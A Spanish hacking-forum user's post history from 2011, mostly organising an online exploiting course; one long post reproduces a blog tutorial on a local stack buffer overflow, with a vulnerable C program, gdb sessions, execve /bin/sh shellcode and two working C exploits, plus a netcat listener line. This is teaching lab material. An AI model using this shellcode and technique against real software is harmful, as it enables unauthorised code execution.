Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Garfield07

#272
Mmm, el manual de Ikary está muy bien, yo saqué la idea de la función oculta de sus códigos... Yo me hice mi propio programa en C, pero lo borré el otro día...
Te iba a reescribir todo el código, pero creo que he encontrado el fallo...

int FuncionOculta(  )
{
   printf( "  Descubriste la Funcion Oculta!" );
// return 0;
   exit (0);
}


El fallo creo que está en que al volver con return coges la dirección del ret, pero es que el ret lo hemos sobreescrito y ya no nos vale...
Luego te posteo mi código reescrito...

Suerte!
PD: Que bien que vayas probando ya tú solo algunas cosas! Me ahorrarás mucho trabajo, créeme...
#273
Vale, voy a intentar juntar todo...
1) Post de inscripciones [CERRADO] 
2) Post de entregas [NO POSTEAR] 
3) Post de grupos [DUDAS SOBRE ORGANIZACIÓN] 

Tengo que hablar con Iván sobre:
1) El uso del vyew (tenemos que probarlo).
2) La hora de todos los grupos. Una idea sería usar la hora del foro, creo que no cambia por países...
3) Horarios (sujetos a disponibilidad por grupos)

Ahora, la organización del curso ha cambiado un poco...
1) Stack (pila) : ¿Cómo funciona?
2) Exploiting local BoF : Con y sin protecciones
3) Exploiting remoto BoF : Con y sin protecciones
4) String format : ¿De qué va esto?
5) Análisis de un código real con licencia GPL : Código abierto
6) Análisis de un código real con licencia privada : Sin código
7) Análisis de un código real con licencia GPL / privada : Windows

¿Qué programas / S.O. debo usar?
1) Pues no importa si quieres usar Window, puedes seguir el curso con:
1.1 : Putty (nos conectamos a la máquina SSH de Iván)
1.2 : Máquina virtual (Os recomiendo Ubuntu, 9.04 es buena)
1.3 : Live CD (os recomiendo Ubuntu 9.04). Aparte, sobre este punto, mejor que Live CD usad Live USB : Linux USB Creator Windows
2) No sabemos qué usar para las conferencias, pero tengo que ver con Iván el Vyew, ya modificaré.
3) Por ahora : SSH client, gcc, nasm, as, ld, objdump, gdb, hexdump, nm, etc. Iré modificando.. Si veis que falta alguno mandadme un PM.

Sobre la organización del curso: Algunas partes son ideas, todo es para discutir, las dos últimas se me han ocurrido ahora, y viendo que no son muy extensos (sólo se dan BoF y string format) os pido a todos que me mandéis un PM con sugerencias sobre análisis sobre otros tipos de vulnerabilidades.
#274
Claro, es que no estoy poniendo tres ases más...
No sabes que al ejecutar el ret se saca de la pila la dirección que tienes que volver? Por eso al ejecutar el ret todo está cuatro bytes menos...
Te cito de mi blog:
---------------------------------------------------------------------------------------------------------
Bueno, tras un ratillo erre que erre golpeándome he conseguido ejecutar una shellcode. Os explico:
Primero he calculado cuantos nops (0x90, el procesador no hace nada) le tengo que meter a la cadena. Luego, he escrito mi shellcode, y finalmente he calculado la dirección de regreso.
Calculemos: Tenemos 36 bytes, pero para cambiar la ejecución del programa hacen falta 44. Así que...
44 - 4 (dirección de regreso) = 40. Mi shellcode mide 25 pbytes...
40 - 25 (shellcode) = 15. En este hueco irá relleno.
Así que la estructura sería...
15 Nops (\x90) + 25 Shellcode + 4 Ret.
Escribimos:
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln AAA

Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904:    0x00000000
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')

Breakpoint 1, vuln (
    buff=0xbffffb36 '\220' <repeats 15 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff95b in ?? ()
(gdb) ¿Error? Pues sí. No nos hemos dado cuenta de que al volver se restan 4 bytes...
(gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')

Breakpoint 1, vuln (
    buff=0xbffffb3a '\220' <repeats 11 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) c
Continuing.
Executing new program: /bin/dash
(no debugging symbols found)
Error in re-setting breakpoint 1: Function "vuln" not defined.
(no debugging symbols found)
(no debugging symbols found)
$
Ahora escribimos el exploit...
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main ()
{
    char nops [11];
    memset (nops, '\x90', 11);
    char shellcode [26] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
    char ret [5] = "\x04\xf9\xff\xbf";

    char command [47];
    strcpy (command, "./vuln ");
    strcat (command, nops);
    strcat (command, shellcode);
    strcat (command, ret);
    system (command);
}
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
$

¡Bueno, lo hemos conseguido! ¡Hemos escrito nuestro primer exploit con shellcode en un entorno linux!

PD: Sé que no me explico nada bien, todas las dudas...
PD2: Habrá más entregas ;D

Un saludo! Os espero.
Sagrini
---------------------------------------------------------------------------------------------------------
Y primera parte
---------------------------------------------------------------------------------------------------------
Vale, esta entrega va a ir sobre cómo aprovechar un BoF para controlar un programa. Es bastante sencillo...

Primero escribimos un programa típicamente vulnerable.
#include <stdio.h>
#include <string.h>

int vuln (char *buff)
{
    char buffer [36];
    strcpy (buffer, buff);
}

int main (int argc, char *argv [])
{
    vuln (argv [1]);
}

Compilamos y ejecutamos:
juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack
juanra@Juanra:~/Escritorio/Shell$ ./vuln AAA
juanra@Juanra:~/Escritorio/Shell$

Como vemos no pasa nada... Si nos fijamos bien en "buffer" sólo caben 36 letras. ¿Y si le metemos más? Pues que el programa se sale...
juanra@Juanra:~/Escritorio/Shell$ ./vuln $(perl -e 'print "A"x50')
Fallo de segmentación
juanra@Juanra:~/Escritorio/Shell$
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) r $(perl -e 'print "A"x50')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "A"x50')
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) r $(perl -e 'print "A"x40 . "BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "A"x40 . "BBBB"')
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

Pues como vemos las As y las Bs "mueven" el flujo del programa. Entonces... ¿Podemos controlar un programa? Pues sí. Cambiemos el código:
#include <stdio.h>
#include <string.h>

int vuln (char *buff)
{
    char buffer [36];
    strcpy (buffer, buff);
}

int main (int argc, char *argv [])
{
    vuln (argv [1]);
}

int feo ()
{
    printf ("Eres feo!!!");
    exit (0);
}


juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack
juanra@Juanra:~/Escritorio/Shell$ ./vuln AAA
juanra@Juanra:~/Escritorio/Shell$
Sigue sin pasar nada. Feo nunca se ejecuta :-o. Pero como somos malévolos...

(gdb) x/x feo
0x8048468 <feo>:    0x83e58955
(gdb) r $(perl -e 'print "A"x40 . "\x68\x84\x04\x08"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "A"x40 . "\x68\x84\x04\x08"')

Breakpoint 1, 0x0804842a in vuln ()
(gdb) c
Continuing.
Eres feo!!!
Program exited normally.
(gdb)
El programa va hacia la función feo y se ejecuta...

Ahora, explicación...

Algunos programas no controlan que los datos que le introduces sean los adecuados. Esto supone que el programa pueda fallar. Si yo le meto 40 ases a un sitio donde caben 36, falla. Pero si le meto 4 más sobreescribo un registro del ordenador que controla la próxima instrucción a ejecutar. Esto hace que podamos controlar el programa.

En la prueba buscamos la dirección de la función "feo" que te dice "Eres feo!!!" y cierra el programa. Esto se consigue con un br (break) vuln, que para el programa en el punto "vuln" y nos dice la dirección del punto de parada. Sobreescribimos con Perl esta dirección... "Eres feo!!!"

Ahora escribamos un exploit...
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main ()
{
    char nops [40];
    memset (nops, 'A', 40);
    char ret [5] = "\x68\x84\x04\x08";

    char command [51];
    strcpy (command, "./vuln ");
    strcat (command, nops);
    strcat (command, ret);
    system (command);
}
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
Eres feo!!!juanra@Juanra:~/Escritorio/Shell$

Vale, ahora os explico: El programa lo único que hace es introducir 40 ases y la dirección de "feo" en una variable y ejecutar el programa. Con este sencillo método hemos aprendido a explotar una parte de los fallos más comunes...
Os espero en las entregas venideras...
Un saludo!
Sagrini
---------------------------------------------------------------------------------------------------------

Escríbeme por PM las dudas...
Suerte!
#275
Cita de: Belial & Grimoire en 14 Febrero 2011, 01:10 AM
es necesario tambien instalar un servidor ssh?.... sino para instalar ssh, porque solo tengo el cliente "openssh-client"

como mencione tengo debian y estuve haciendo un exploit que posteo Sagrini y por mas que lo intente, el exploit no me funciono, creen que para no meterme en problemas de que algo no me funcione,  sea necesario instalar en virtualbox la misma version de ubuntu con la que ustedes hara esto?

No!  El servidor es para crear un servidor. El cliente es para conectarte a la máquina de Iván.
Sobre el fallo... Me podrías decir:
1) Qué fallo te da.
2) ¿Te funciona sin exploit? Quiero decir... Desde la línea de comandos.

Una cosa, el exploit es para mi máquina. Deberías ver la dirección de regreso... En el post que lo miraste deberías ver cómo hacerlo.
Pásate por mi blog, creo que también lo escribí en el... (no es spam, si quieres no postees nada...)

Ahh, Ivan ha abierto un post con todos los grupos... No posteéis en este xD
#276
Hacking / Re: Creando un chat con telnet y netcat
11 Febrero 2011, 19:49 PM
Wow comentario del dia!
nc -vlp 31337
nc -vv 192.168.0.192 31337

Listo xD
---------------------------------------------
Modf: También con hK 2.0 by Sagrini
./hK vl 31337
./hK vc 192.168.0.192 31337
#277
Cita de: ~ Yoya ~ en 10 Febrero 2011, 23:42 PM
Si piensan dar conferencia, lo mejor seria utilizar screen, así todos nos conectamos a la PC de ivanchuk y podemos ver todo lo que pasa....

Lo use junto al anon cuando tenia algunos problema con Buffer Overflow...

Mandame un pm con info, el skype a algunos les va lento...
#278
GNU/Linux / Re: administrar segundo usuario
11 Febrero 2011, 19:33 PM
No se si lo has solucionado, no se te entiende:
# groupmod -g 995 admin
#279
Te compiclas la vida:
11 Nops + 25 Shellcode + 4 ret

Busca tu ret y lo pones...
#280
GNU/Linux / Re: No tengo internet en ubuntu 10.10
10 Febrero 2011, 23:31 PM
ifconfig | grep -A20 wlan

More te va mostrando por pantallazos xD